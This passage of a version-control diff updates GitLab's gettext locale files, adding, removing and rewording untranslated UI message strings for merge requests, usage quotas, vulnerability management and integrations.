msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/ar_SA/gitlab.po b/locale/ar_SA/gitlab.po
index 0bffd45bf35..c4408571f2f 100644
--- a/locale/ar_SA/gitlab.po
+++ b/locale/ar_SA/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ar\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:57\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -367,6 +364,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -457,6 +463,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -574,6 +589,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -667,6 +691,12 @@ msgstr[5] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -763,6 +793,15 @@ msgstr[5] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -997,7 +1036,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -1051,6 +1090,9 @@ msgstr ""
